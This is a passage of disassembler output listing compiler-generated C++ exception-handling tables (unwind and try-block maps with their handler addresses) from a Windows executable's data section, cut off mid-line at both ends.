49h, 43248Eh, 1Eh dd 43248Eh, 1Eh, 432499h, 4Ch, 4324A4h, 1Eh, 4324A4h, 1Eh dd 4324AFh, 4Fh, 4324BAh, 50h, 4324C5h, 51h, 4324D0h, 52h dd 4324DBh, 13h dup(0) dd offset off_43B900 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 430350h, 2 dup(0) dd offset off_43B920 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 430774h, 2 dup(0) dd offset off_43B948 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 43077Ah, 0 dword_437F78 dd 3, 437F58h, 437F38h, 437F18h, 3 dup(0) ; DATA XREF: _8C6BDE73:00437F9Co dd offset loc_430780 dd 0 dd offset dword_437F78 dd 2 dup(0) dword_437FA8 dd 19930520h, 1, 437FC8h, 5 dup(0) ; DATA XREF: _294ADE7B:004325B9o dd 0FFFFFFFFh, 4325B0h, 2 dup(0) dword_437FD8 dd 19930520h, 1, 437FF8h, 5 dup(0) ; DATA XREF: _294ADE7B:004325D8o dd 0FFFFFFFFh, 4325D0h, 2 dup(0) dword_438008 dd 19930520h, 3, 438028h, 5 dup(0) ; DATA XREF: _294ADE7B:00432617o dd 0FFFFFFFFh, 4325F0h, 0 dd offset loc_432607 dd 1, 43260Fh, 2 dup(0) dword_438048 dd 19930520h, 1, 438068h, 5 dup(0) ; DATA XREF: _294ADE7B:00432639o dd 0FFFFFFFFh, 432630h, 2 dup(0) dword_438078 dd 19930520h, 2, 438098h, 1, 4380A8h, 3 dup(0) ; DATA XREF: _294ADE7B:00432650o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4380C0h, 4 dup(0) dd offset sub_40A9B2 dd 2 dup(0) dword_4380D8 dd 19930520h, 2, 4380F8h, 1, 438108h, 3 dup(0) ; DATA XREF: _294ADE7B:00432660o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 438120h, 4 dup(0) dd offset loc_40AB31 dd 2 dup(0) dword_438138 dd 19930520h, 4, 438158h, 5 dup(0) ; DATA XREF: _294ADE7B:0043269Fo dd 0FFFFFFFFh, 432670h, 0 dd offset loc_43267B dd 1, 432686h, 2, 432691h, 2 dup(0) dword_438180 dd 19930520h, 4, 4381A0h, 5 dup(0) ; DATA XREF: _294ADE7B:004326EFo dd 0FFFFFFFFh, 4326C0h, 0 dd offset loc_4326CB dd 1, 4326D6h, 2, 4326E1h, 2 dup(0) dword_4381C8 dd 19930520h, 3, 4381E8h, 5 dup(0) ; DATA XREF: _294ADE7B:00432728o dd 0FFFFFFFFh, 432710h, 0FFFFFFFFh, 432718h, 0FFFFFFFFh dd 432720h, 2 dup(0) dword_438208 dd 19930520h, 3, 438228h, 5 dup(0) ; DATA XREF: _294ADE7B:00432758o dd 0FFFFFFFFh, 432740h, 0 dd offset loc_432748 dd 1, 432750h, 2 dup(0) dword_438248 dd 19930520h, 1, 438268h, 5 dup(0) ; DATA XREF: _294ADE7B:00432778o dd 0FFFFFFFFh, 432770h, 2 dup(0) dword_438278 dd 19930520h, 4, 438298h, 5 dup(0) ; DATA XREF: _294ADE7B:004327B0o dd 0FFFFFFFFh, 432790h, 0FFFFFFFFh, 432798h, 0FFFFFFFFh dd 4327A0h, 2, 4327A8h, 2 dup(0) dword_4382C0 dd 19930520h, 4, 4382E0h, 5 dup(0) ; DATA XREF: _294ADE7B:004327F0o dd 0FFFFFFFFh, 4327D0h, 0FFFFFFFFh, 4327D8h, 0FFFFFFFFh dd 4327E0h, 0FFFFFFFFh, 4327E8h, 2 dup(0) dword_438308 dd 19930520h, 8, 438328h, 5 dup(0) ; DATA XREF: _294ADE7B:00432868o dd 0FFFFFFFFh, 432810h, 0 dd offset loc_43281B dd 1, 432826h, 1, 432831h, 1, 43283Ch, 1, 432847h, 1, 432852h dd 1, 43285Dh, 4 dup(0) dword_438378 dd 19930520h, 0Dh, 438398h, 5 dup(0) ; DATA XREF: _294ADE7B:0043291Fo dd 0FFFFFFFFh, 432890h, 0FFFFFFFFh, 43289Bh, 1, 4328A6h dd 2, 4328B1h, 3, 4328BCh, 4, 4328C7h, 5, 4328D2h, 6, 4328DDh dd 7, 4328E8h, 8, 4328F3h, 9, 4328FEh, 0Ah, 432909h, 0Bh dd 432914h, 4 dup(0) dword_438410 dd 19930520h, 6, 438430h, 5 dup(0) ; DATA XREF: _294ADE7B:00432980o dd 0FFFFFFFFh, 432950h, 0 dd offset loc_432958 dd 1, 432960h, 2, 432968h, 2, 432970h, 2, 432978h, 2 dup(0) dword_438468 dd 19930520h, 6, 438488h, 5 dup(0) ; DATA XREF: _294ADE7B:004329D0o dd 0FFFFFFFFh, 4329A0h, 0 dd offset loc_4329A8 dd 1, 4329B0h, 2, 4329B8h, 2, 4329C0h, 2, 4329C8h, 2 dup(0) dword_4384C0 dd 19930520h, 3, 4384E0h, 5 dup(0) ; DATA XREF: _294ADE7B:00432A08o dd 0FFFFFFFFh, 4329F0h, 0 dd offset loc_4329F8 dd 1, 432A00h, 2 dup(0) dword_438500 dd 19930520h, 1, 438520h, 5 dup(0) ; DATA XREF: _294ADE7B:00432A28o dd 0FFFFFFFFh, 432A20h, 2 dup(0) dword_438530 dd 19930520h, 7, 438550h, 5 dup(0) ; DATA XREF: _294ADE7B:00432A78o dd 0FFFFFFFFh, 432A40h, 0 dd offset loc_432A48 dd 0FFFFFFFFh, 432A50h, 0FFFFFFFFh, 432A58h, 3, 432A60h dd 4, 432A68h, 0FFFFFFFFh, 432A70h, 2 dup(0) dword_438590 dd 19930520h, 24h, 4385B0h, 5 dup(0) ; DATA XREF: _294ADE7B:00432C1Do dd 0FFFFFFFFh, 432AA0h, 0 dd offset loc_432AA8 dd 1, 432AB3h, 2, 432ABEh, 3, 432AC9h, 4, 432AD7h, 5, 432AE5h dd 6, 432AF3h, 7, 432B01h, 8, 432B0Fh, 9, 432B1Dh, 0Ah dd 432B2Bh, 0Bh, 432B39h, 0Ch, 432B47h, 0Dh, 432B55h, 0Eh dd 432B63h, 0Fh, 432B71h, 10h, 432B7Fh, 11h, 432B8Dh, 11h dd 432B95h, 11h, 432B9Dh, 11h, 432BA5h, 11h, 432BADh, 11h dd 432BB5h, 11h, 432BBDh, 11h, 432BC5h, 11h, 432BCDh, 11h dd 432BD5h, 11h, 432BDDh, 11h, 432BE5h, 11h, 432BEDh, 11h dd 432BF5h, 11h, 432BFDh, 11h, 432C05h, 11h, 432C0Dh, 11h dd 432C15h, 8 dup(0) dword_4386F0 dd 19930520h, 38h, 438710h, 5 dup(0) ; DATA XREF: _294ADE7B:00432ED3o dd 0FFFFFFFFh, 432C90h, 0 dd offset loc_432C9B dd 1, 432CA6h, 0 dd offset loc_432CB1 dd 0 dd offset loc_432CBC dd 0 dd offset loc_432CC7 dd 0 dd offset loc_432CD2 dd 0 dd offset loc_432CDD dd 0 dd offset loc_432CE8 dd 0 dd offset loc_432CF3 dd 9, 432CFEh, 0 dd offset loc_432D09 dd 0 dd offset loc_432D14 dd 0 dd offset loc_432D1F dd 0 dd offset loc_432D2A dd 0Eh, 432D35h, 0Eh, 432D43h, 0Eh, 432D51h, 0Eh, 432D5Ch dd 0Eh, 432D6Ah, 0Eh, 432D78h, 0Eh, 432D83h, 0Eh, 432D8Eh dd 0 dd offset loc_432D99 dd 0 dd offset loc_432DA4 dd 0 dd offset loc_432DB2 dd 0 dd offset loc_432DC0 dd 1Ah, 432DCBh, 1Bh, 432DD6h, 0 dd offset loc_432DE1 dd 1Dh, 432DECh, 0 dd offset loc_432DF7 dd 1Fh, 432E02h, 0 dd offset loc_432E0D dd 0 dd offset loc_432E18 dd 0 dd offset loc_432E23 dd 0 dd offset loc_432E2E dd 0 dd offset loc_432E39 dd 25h, 432E44h, 26h, 432E4Fh, 0 dd offset loc_432E4F dd 28h, 432E44h, 0 dd offset loc_432E5A dd 0 dd offset loc_432E65 dd 2Bh, 432E70h, 2Ch, 432E7Bh, 0 dd offset loc_432E7B dd 2Eh, 432E70h, 2Eh, 432E86h, 0 dd offset loc_432E91 dd 31h, 432E9Ch, 0 dd offset loc_432EA7 dd 0 dd offset loc_432EB2 dd 34h, 432EBDh, 35h, 432EC8h, 34h, 432EC8h, 0Ch dup(0) dword_438900 dd 19930520h, 0Ah, 438920h, 5 dup(0) ; DATA XREF: _294ADE7B:00432FC0o dd 0FFFFFFFFh, 432F70h, 0FFFFFFFFh, 432F78h, 0FFFFFFFFh dd 432F80h, 0FFFFFFFFh, 432F88h, 0FFFFFFFFh, 432F90h, 0FFFFFFFFh dd 432F98h, 0FFFFFFFFh, 432FA0h, 0FFFFFFFFh, 432FA8h, 0FFFFFFFFh dd 432FB0h, 0FFFFFFFFh, 432FB8h, 4 dup(0) dword_438980 dd 19930520h, 0Eh, 4389A0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433059o dd 0FFFFFFFFh, 432FE0h, 0 dd offset loc_432FE8 dd 0FFFFFFFFh, 432FF3h, 0FFFFFFFFh, 432FFBh, 0FFFFFFFFh dd 433003h, 0FFFFFFFFh, 43300Bh, 5, 433016h, 0FFFFFFFFh dd 43301Eh, 0FFFFFFFFh, 433026h, 0FFFFFFFFh, 43302Eh, 9 dd 433039h, 0FFFFFFFFh, 433041h, 0Bh, 433049h, 0Ch, 433051h dd 4 dup(0) dword_438A20 dd 19930520h, 2, 438A40h, 5 dup(0) ; DATA XREF: _294ADE7B:004330AFo dd 0FFFFFFFFh, 433098h, 0 dd offset loc_433090 dd 2 dup(0) dword_438A58 dd 19930520h, 2, 438A78h, 5 dup(0) ; DATA XREF: _294ADE7B:004330E0o dd 0FFFFFFFFh, 4330D0h, 0 dd offset loc_4330D8 align 10h dword_438A90 dd 19930520h, 11h, 438AB0h, 5 dup(0) ; DATA XREF: _294ADE7B:004331CFo dd 0FFFFFFFFh, 4330F0h, 0 dd offset loc_4330F8 dd 1, 433103h, 2, 43310Eh, 3, 433119h, 4, 433127h, 5, 433135h dd 6, 433143h, 7, 433151h, 8, 43315Fh, 9, 43316Dh, 0Ah dd 43317Bh, 0Bh, 433189h, 0Ch, 433197h, 0Dh, 4331A5h, 0Eh dd 4331B3h, 0Fh, 4331C1h, 4 dup(0) dword_438B48 dd 19930520h, 1, 438B68h, 5 dup(0) ; DATA XREF: _294ADE7B:00433228o dd 0FFFFFFFFh, 433220h, 2 dup(0) dword_438B78 dd 19930520h, 1, 438B98h, 5 dup(0) ; DATA XREF: _294ADE7B:00433248o dd 0FFFFFFFFh, 433240h, 2 dup(0) dword_438BA8 dd 19930520h, 6, 438BC8h, 5 dup(0) ; DATA XREF: _294ADE7B:0043329Fo dd 0FFFFFFFFh, 433260h, 0 dd offset loc_433268 dd 1, 433273h, 2, 43327Eh, 3, 433289h, 4, 433294h, 2 dup(0) dword_438C00 dd 19930520h, 6, 438C20h, 5 dup(0) ; DATA XREF: _294ADE7B:004332FFo dd 0FFFFFFFFh, 4332C0h, 0 dd offset loc_4332C8 dd 1, 4332D3h, 2, 4332DEh, 3, 4332E9h, 4, 4332F4h, 2 dup(0) dword_438C58 dd 19930520h, 1, 438C78h, 5 dup(0) ; DATA XREF: _294ADE7B:00433328o dd 0FFFFFFFFh, 433320h, 2 dup(0) dword_438C88 dd 19930520h, 7, 438CA8h, 5 dup(0) ; DATA XREF: _294ADE7B:0043337Eo dd 0FFFFFFFFh, 433340h, 0 dd offset loc_433348 dd 1, 433353h, 2, 43335Eh, 2, 433366h, 4, 43336Eh, 5, 433376h dd 2 dup(0) dword_438CE8 dd 19930520h, 4, 438D08h, 5 dup(0) ; DATA XREF: _294ADE7B:004333CCo dd 0FFFFFFFFh, 4333A0h, 0 dd offset loc_4333AB dd 1, 4333B6h, 2, 4333C1h, 2 dup(0) dword_438D30 dd 19930520h, 4, 438D50h, 5 dup(0) ; DATA XREF: _294ADE7B:0043341Co dd 0FFFFFFFFh, 4333F0h, 0 dd offset loc_4333FB dd 1, 433406h, 2, 433411h, 2 dup(0) dword_438D78 dd 19930520h, 2, 438D98h, 5 dup(0) ; DATA XREF: _294ADE7B:00433450o dd 0FFFFFFFFh, 433440h, 0FFFFFFFFh, 433448h, 2 dup(0) dword_438DB0 dd 19930520h, 1, 438DD0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433468o dd 0FFFFFFFFh, 433460h, 2 dup(0) dword_438DE0 dd 19930520h, 1, 438E00h, 5 dup(0) ; DATA XREF: _294ADE7B:00433488o dd 0FFFFFFFFh, 433480h, 2 dup(0) dword_438E10 dd 19930520h, 2, 438E30h, 5 dup(0) ; DATA XREF: _294ADE7B:004334B0o dd 0FFFFFFFFh, 4334A0h, 0 dd offset loc_4334A8 dd 2 dup(0) dword_438E48 dd 19930520h, 3, 438E68h, 5 dup(0) ; DATA XREF: _294ADE7B:004334DEo dd 0FFFFFFFFh, 4334C0h, 0 dd offset loc_4334C8 dd 1, 4334D3h, 2 dup(0) dword_438E88 dd 19930520h, 3, 438EA8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433518o dd 0FFFFFFFFh, 433500h, 0 dd offset loc_433508 dd 1, 433510h, 2 dup(0) dword_438EC8 dd 19930520h, 1, 438EE8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433538o dd 0FFFFFFFFh, 433530h, 2 dup(0) dword_438EF8 dd 19930520h, 4, 438F18h, 5 dup(0) ; DATA XREF: _294ADE7B:00433573o dd 0FFFFFFFFh, 433550h, 0 dd offset loc_433558 dd 0 dd offset loc_433560 dd 0 dd offset loc_43356B align 10h dword_438F40 dd 19930520h, 6, 438F60h, 5 dup(0) ; DATA XREF: _294ADE7B:004335C3o dd 0FFFFFFFFh, 433590h, 0 dd offset loc_433598 dd 1, 4335A0h, 2, 4335A8h, 3, 4335B0h, 4, 4335B8h, 2 dup(0) dword_438F98 dd 19930520h, 3, 438FB8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433601o dd 0FFFFFFFFh, 4335E0h, 0 dd offset loc_4335EB dd 1, 4335F6h, 2 dup(0) dword_438FD8 dd 19930520h, 4, 438FF8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433640o dd 0FFFFFFFFh, 433620h, 0 dd offset loc_433628 dd 1, 433630h, 2, 433638h, 2 dup(0) dword_439020 dd 19930520h, 5, 439040h, 5 dup(0) ; DATA XREF: _294ADE7B:0043368Bo dd 0FFFFFFFFh, 433660h, 0 dd offset loc_433668 dd 1, 433670h, 2, 433678h, 3, 433680h, 2 dup(0) dword_439070 dd 19930520h, 4, 439090h, 5 dup(0) ; DATA XREF: _294ADE7B:004336D9o dd 0FFFFFFFFh, 4336B0h, 0 dd offset loc_4336B8 dd 1, 4336C3h, 2, 4336CEh, 2 dup(0) dword_4390B8 dd 19930520h, 3, 4390D8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433708o dd 0FFFFFFFFh, 4336F0h, 0 dd offset loc_4336F8 dd 1, 433700h, 2 dup(0) dword_4390F8 dd 19930520h, 1, 439118h, 5 dup(0) ; DATA XREF: _294ADE7B:00433728o dd 0FFFFFFFFh, 433720h, 2 dup(0) dword_439128 dd 19930520h, 2, 439148h, 5 dup(0) ; DATA XREF: _294ADE7B:00433750o dd 0FFFFFFFFh, 433740h, 0 dd offset loc_433748 align 10h dword_439160 dd 19930520h, 2, 439180h, 5 dup(0) ; DATA XREF: _294ADE7B:00433770o dd 0FFFFFFFFh, 433760h, 0 dd offset loc_433768 dd 2 dup(0) dword_439198 dd 19930520h, 3, 4391B8h, 5 dup(0) ; DATA XREF: _294ADE7B:004337A1o dd 0FFFFFFFFh, 433780h, 0 dd offset loc_43378B dd 1, 433796h, 2 dup(0) dword_4391D8 dd 19930520h, 1, 4391F8h, 5 dup(0) ; DATA XREF: _294ADE7B:004337C8o dd 0FFFFFFFFh, 4337C0h, 2 dup(0) dword_439208 dd 19930520h, 1, 439228h, 5 dup(0) ; DATA XREF: _294ADE7B:004337E8o dd 0FFFFFFFFh, 4337E0h, 2 dup(0) dword_439238 dd 19930520h, 4, 439258h, 5 dup(0) ; DATA XREF: _294ADE7B:00433829o dd 0FFFFFFFFh, 433800h, 0 dd offset loc_433808 dd 1, 433813h, 2, 43381Eh, 2 dup(0) dword_439280 dd 19930520h, 7, 4392A0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433878o dd 0FFFFFFFFh, 433840h, 0FFFFFFFFh, 433848h, 0FFFFFFFFh dd 433850h, 2, 433858h, 3, 433860h, 4, 433868h, 0FFFFFFFFh dd 433870h, 2 dup(0) dword_4392E0 dd 19930520h, 14h, 439300h, 5 dup(0) ; DATA XREF: _294ADE7B:004339AFo dd 0FFFFFFFFh, 4338A0h, 0 dd offset loc_4338A8 dd 1, 4338B3h, 2, 4338C1h, 3, 4338CFh, 4, 4338DDh, 5, 4338EBh dd 6, 4338F9h, 7, 433907h, 8, 433915h, 9, 433923h, 0Ah dd 433931h, 0Bh, 43393Fh, 0Ch, 43394Dh, 0Dh, 43395Bh, 0Eh dd 433969h, 0Fh, 433977h, 10h, 433985h, 11h, 433993h, 12h dd 4339A1h, 6 dup(0) dword_4393B8 dd 19930520h, 14h, 4393D8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433B0Fo dd 0FFFFFFFFh, 433A00h, 0 dd offset loc_433A08 dd 1, 433A13h, 2, 433A21h, 3, 433A2Fh, 4, 433A3Dh, 5, 433A4Bh dd 6, 433A59h, 7, 433A67h, 8, 433A75h, 9, 433A83h, 0Ah dd 433A91h, 0Bh, 433A9Fh, 0Ch, 433AADh, 0Dh, 433ABBh, 0Eh dd 433AC9h, 0Fh, 433AD7h, 10h, 433AE5h, 11h, 433AF3h, 12h dd 433B01h, 6 dup(0) dword_439490 dd 19930520h, 1, 4394B0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433B6Bo dd 0FFFFFFFFh, 433B60h, 2 dup(0) dword_4394C0 dd 19930520h, 3Dh, 4394E0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433ED0o dd 0FFFFFFFFh, 433B80h, 0 dd offset loc_433B8B dd 1, 433B96h, 2, 433BA4h, 3, 433BB2h, 4, 433BC0h, 5, 433BCEh dd 6, 433BDCh, 7, 433BEAh, 8, 433BF8h, 9, 433C06h, 0Ah dd 433C14h, 0Bh, 433C22h, 0Ch, 433C30h, 0Dh, 433C3Eh, 0Eh dd 433C4Ch, 0Fh, 433C5Ah, 10h, 433C68h, 11h, 433C76h, 12h dd 433C84h, 13h, 433C92h, 14h, 433CA0h, 15h, 433CAEh, 16h dd 433CBCh, 17h, 433CCAh, 18h, 433CD8h, 19h, 433CE6h, 1Ah dd 433CF4h, 1Bh, 433D02h, 1Ch, 433D10h, 1Dh, 433D1Eh, 1Eh dd 433D2Ch, 1Fh, 433D3Ah, 20h, 433D48h, 21h, 433D56h, 22h dd 433D64h, 23h, 433D72h, 24h, 433D80h, 25h, 433D8Eh, 26h dd 433D9Ch, 27h, 433DAAh, 28h, 433DB8h, 29h, 433DC6h, 2Ah dd 433DD4h, 2Bh, 433DE2h, 2Ch, 433DF0h, 2Dh, 433DFEh, 2Eh dd 433E0Ch, 2Fh, 433E1Ah, 30h, 433E28h, 31h, 433E36h, 32h dd 433E44h, 33h, 433E52h, 34h, 433E60h, 35h, 433E6Eh, 36h dd 433E7Ch, 37h, 433E8Ah, 38h, 433E98h, 39h, 433EA6h, 3Ah dd 433EB4h, 3Bh, 433EC2h, 0Eh dup(0) dword_439700 dd 19930520h, 4, 439720h, 5 dup(0) ; DATA XREF: _294ADE7B:00433FDCo dd 0FFFFFFFFh, 433FB0h, 0 dd offset loc_433FBB dd 1, 433FC6h, 2, 433FD1h, 2 dup(0) dword_439748 dd 19930520h, 6, 439768h, 5 dup(0) ; DATA XREF: _294ADE7B:0043404Bo dd 0FFFFFFFFh, 434000h, 0 dd offset loc_43400B dd 1, 434016h, 2, 434021h, 3, 43402Fh, 4, 43403Dh, 2 dup(0) dword_4397A0 dd 19930520h, 5, 4397C0h, 5 dup(0) ; DATA XREF: _294ADE7B:004340B6o dd 0FFFFFFFFh, 434070h, 0 dd offset loc_43407E dd 1, 43408Ch, 2, 43409Ah, 3, 4340A8h, 2 dup(0) dword_4397F0 dd 19930520h, 5, 439810h, 5 dup(0) ; DATA XREF: _294ADE7B:0043411Do dd 0FFFFFFFFh, 4340E0h, 0 dd offset loc_4340EB dd 1, 4340F6h, 2, 434101h, 3, 43410Fh, 2 dup(0) dword_439840 dd 19930520h, 2, 439860h, 5 dup(0) ; DATA XREF: SEH_4163B0o dd 0FFFFFFFFh, 434140h, 0 dd offset loc_43414B dd 2 dup(0) dword_439878 dd 19930520h, 4, 439898h, 5 dup(0) ; DATA XREF: _294ADE7B:0043419Fo dd 0FFFFFFFFh, 434170h, 0 dd offset loc_43417B dd 1, 434186h, 2, 434191h, 2 dup(0) dword_4398C0 dd 19930520h, 4, 4398E0h, 5 dup(0) ; DATA XREF: _294ADE7B:004341ECo dd 0FFFFFFFFh, 4341C0h, 0 dd offset loc_4341CB dd 1, 4341D6h, 2, 4341E1h, 2 dup(0) dword_439908 dd 19930520h, 6, 439928h, 5 dup(0) ; DATA XREF: _294ADE7B:0043425Bo dd 0FFFFFFFFh, 434210h, 0 dd offset loc_43421B dd 1, 434226h, 2, 434231h, 3, 43423Fh, 4, 43424Dh, 2 dup(0) dword_439960 dd 19930520h, 5, 439980h, 5 dup(0) ; DATA XREF: _294ADE7B:004342C6o dd 0FFFFFFFFh, 434280h, 0 dd offset loc_43428E dd 1, 43429Ch, 2, 4342AAh, 3, 4342B8h, 2 dup(0) dword_4399B0 dd 19930520h, 5, 4399D0h, 5 dup(0) ; DATA XREF: _294ADE7B:0043432Do dd 0FFFFFFFFh, 4342F0h, 0 dd offset loc_4342FB dd 1, 434306h, 2, 434311h, 3, 43431Fh, 2 dup(0) dword_439A00 dd 19930520h, 2, 439A20h, 5 dup(0) ; DATA XREF: SEH_416860o dd 0FFFFFFFFh, 434350h, 0 dd offset loc_43435B dd 2 dup(0) dword_439A38 dd 19930520h, 4, 439A58h, 5 dup(0) ; DATA XREF: _294ADE7B:004343AFo dd 0FFFFFFFFh, 434380h, 0 dd offset loc_43438B dd 1, 434396h, 2, 4343A1h, 2 dup(0) dword_439A80 dd 19930520h, 1, 439AA0h, 5 dup(0) ; DATA XREF: _294ADE7B:004343DBo dd 0FFFFFFFFh, 4343D0h, 2 dup(0) dword_439AB0 dd 19930520h, 2, 439AD0h, 5 dup(0) ; DATA XREF: _294ADE7B:00434406o dd 0FFFFFFFFh, 4343F0h, 0 dd offset loc_4343FB dd 2 dup(0) dword_439AE8 dd 19930520h, 1, 439B08h, 5 dup(0) ; DATA XREF: _294ADE7B:00434428o dd 0FFFFFFFFh, 434420h, 2 dup(0) dword_439B18 dd 19930520h, 3, 439B38h, 5 dup(0) ; DATA XREF: SEH_4178D0o dd 0FFFFFFFFh, 434440h, 0FFFFFFFFh, 43444Bh, 1, 434456h dd 2 dup(0) dword_439B58 dd 19930520h, 1, 439B78h, 5 dup(0) ; DATA XREF: _294ADE7B:0043448Bo dd 0FFFFFFFFh, 434480h, 2 dup(0) dword_439B88 dd 19930520h, 1, 439BA8h, 5 dup(0) ; DATA XREF: _294ADE7B:004344ABo dd 0FFFFFFFFh, 4344A0h, 2 dup(0) dword_439BB8 dd 19930520h, 3, 439BD8h, 5 dup(0) ; DATA XREF: _294ADE7B:004344E7o dd 0FFFFFFFFh, 4344C0h, 0 dd offset loc_4344D7 dd 1, 4344DFh, 2 dup(0) dword_439BF8 dd 19930520h, 1, 439C18h, 5 dup(0) ; DATA XREF: _294ADE7B:00434508o dd 0FFFFFFFFh, 434500h, 2 dup(0) dword_439C28 dd 19930520h, 4, 439C48h, 5 dup(0) ; DATA XREF: SEH_41A020o dd 0FFFFFFFFh, 434528h, 0 dd offset loc_434520 dd 0 dd offset loc_43453F dd 2, 434547h, 2 dup(0) dword_439C70 dd 19930520h, 6, 439C90h, 5 dup(0) ; DATA XREF: SEH_41AA60o dd 0FFFFFFFFh, 434570h, 0FFFFFFFFh, 434578h, 0FFFFFFFFh dd 434580h, 0FFFFFFFFh, 434588h, 0FFFFFFFFh, 434590h, 0FFFFFFFFh dd 434598h, 2 dup(0) dword_439CC8 dd 19930520h, 1Ah, 439CE8h, 5 dup(0) ; DATA XREF: SEH_41ACE0o dd 0FFFFFFFFh, 4345C0h, 0 dd offset loc_4345CB dd 1, 4345D6h, 2, 4345E1h, 3, 4345ECh, 4, 4345F7h, 5, 4345FFh dd 5, 43460Ah, 5, 434615h, 5, 434623h, 5, 43462Eh, 5, 434639h dd 5, 434647h, 5, 434652h, 5, 43465Dh, 5, 434668h, 5, 434676h dd 5, 434681h, 5, 43468Ch, 5, 43469Ah, 5, 4346A5h, 5, 4346B0h dd 5, 4346BEh, 5, 4346C9h, 5, 4346D4h, 5, 4346DFh, 6 dup(0) dword_439DD0 dd 19930520h, 4, 439DF0h, 5 dup(0) ; DATA XREF: SEH_41BC10o dd 0FFFFFFFFh, 434750h, 0 dd offset loc_434758 dd 1, 434763h, 2, 43476Eh, 2 dup(0) dword_439E18 dd 19930520h, 4, 439E38h, 5 dup(0) ; DATA XREF: SEH_41BCA0o dd 0FFFFFFFFh, 434790h, 0 dd offset loc_434798 dd 1, 4347A3h, 2, 4347AEh, 2 dup(0) dword_439E60 dd 19930520h, 6, 439E80h, 5 dup(0) ; DATA XREF: SEH_41BD40o dd 0FFFFFFFFh, 4347D0h, 0 dd offset loc_4347D8 dd 1, 4347E3h, 2, 4347EEh, 3, 4347F9h, 4, 434804h, 2 dup(0) dword_439EB8 dd 19930520h, 6, 439ED8h, 5 dup(0) ; DATA XREF: _294ADE7B:loc_434872o dd 0FFFFFFFFh, 434830h, 0FFFFFFFFh, 43483Bh, 0FFFFFFFFh dd 434846h, 2, 434851h, 3, 43485Ch, 2, 434867h, 2 dup(0) dword_439F10 dd 19930520h, 3, 439F30h, 5 dup(0) ; DATA XREF: SEH_41C710o dd 0FFFFFFFFh, 434890h, 0FFFFFFFFh, 434898h, 0FFFFFFFFh dd 4348A0h, 2 dup(0) dword_439F50 dd 19930520h, 5, 439F70h, 5 dup(0) ; DATA XREF: SEH_41C9D0o dd 0FFFFFFFFh, 4348C0h, 0FFFFFFFFh, 4348C8h, 0FFFFFFFFh dd 4348D0h, 0FFFFFFFFh, 4348D8h, 0FFFFFFFFh, 4348E0h, 2 dup(0) dword_439FA0 dd 19930520h, 0Ch, 439FC0h, 5 dup(0) ; DATA XREF: SEH_41CC30o dd 0FFFFFFFFh, 434900h, 0 dd offset loc_434908 dd 0FFFFFFFFh, 434910h, 0FFFFFFFFh, 434918h, 0FFFFFFFFh dd 434920h, 0FFFFFFFFh, 434928h, 5, 434930h, 0FFFFFFFFh dd 434938h, 0FFFFFFFFh, 434940h, 0FFFFFFFFh, 434948h, 0FFFFFFFFh dd 434950h, 0FFFFFFFFh, 434958h, 4 dup(0) dd 19930520h, 2, 43A050h, 1, 43A060h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43A078h, 4 dup(0) dd offset loc_41D3FC align 10h dword_43A090 dd 19930520h, 0Ah, 43A0B0h, 5 dup(0) ; DATA XREF: SEH_41D500o dd 0FFFFFFFFh, 4349A0h, 0 dd offset loc_4349AB dd 1, 4349B6h, 2, 4349C1h, 3, 4349CCh, 3, 4349D7h, 3, 4349E2h dd 3, 4349EDh, 3, 4349F8h, 3, 434A03h, 4 dup(0) dword_43A110 dd 19930520h, 2, 43A130h, 5 dup(0) ; DATA XREF: _294ADE7B:loc_434A50o dd 0FFFFFFFFh, 434A40h, 0 dd offset loc_434A48 dd 2 dup(0) dword_43A148 dd 19930520h, 3, 43A168h, 5 dup(0) ; DATA XREF: SEH_41E6C0o dd 0FFFFFFFFh, 434A60h, 0FFFFFFFFh, 434A6Bh, 1, 434A76h dd 2 dup(0) dword_43A188 dd 19930520h, 1, 43A1A8h, 5 dup(0) ; DATA XREF: SEH_41EB00o dd 0FFFFFFFFh, 434AA0h, 2 dup(0) dword_43A1B8 dd 19930520h, 2, 43A1D8h, 5 dup(0) ; DATA XREF: SEH_41EDB0o dd 0FFFFFFFFh, 434AC0h, 0 dd offset loc_434ACB align 10h dword_43A1F0 dd 19930520h, 16h, 43A210h, 5 dup(0) ; DATA XREF: SEH_41F3E0o dd 0FFFFFFFFh, 434AF0h, 0 dd offset loc_434AFB dd 0 dd offset loc_434B03 dd 0 dd offset loc_434B0B dd 3, 434B13h, 4, 434B1Bh, 0 dd offset loc_434B23 dd 6, 434B2Bh, 7, 434B33h, 0 dd offset loc_434B3B dd 9, 434B43h, 0Ah, 434B4Bh, 0 dd offset loc_434B53 dd 0Ch, 434B5Bh, 0Dh, 434B63h, 0 dd offset loc_434B6B dd 0Fh, 434B73h, 0 dd offset loc_434B7B dd 11h, 434B83h, 0 dd offset loc_434B8B dd 13h, 434B93h, 13h, 434B9Bh, 6 dup(0) dword_43A2D8 dd 19930520h, 6, 43A2F8h, 5 dup(0) ; DATA XREF: SEH_41FE70o dd 0FFFFFFFFh, 434BE0h, 0 dd offset loc_434BE8 dd 1, 434BF3h, 2, 434BFEh, 3, 434C09h, 4, 434C14h, 2 dup(0) dword_43A330 dd 19930520h, 1, 43A350h, 5 dup(0) ; DATA XREF: SEH_420D20o dd 0FFFFFFFFh, 434C40h, 2 dup(0) dword_43A360 dd 19930520h, 1, 43A380h, 5 dup(0) ; DATA XREF: SEH_420DB0o dd 0FFFFFFFFh, 434C70h, 2 dup(0) dword_43A390 dd 19930520h, 6, 43A3B0h, 5 dup(0) ; DATA XREF: SEH_420EC0o dd 0FFFFFFFFh, 434CA0h, 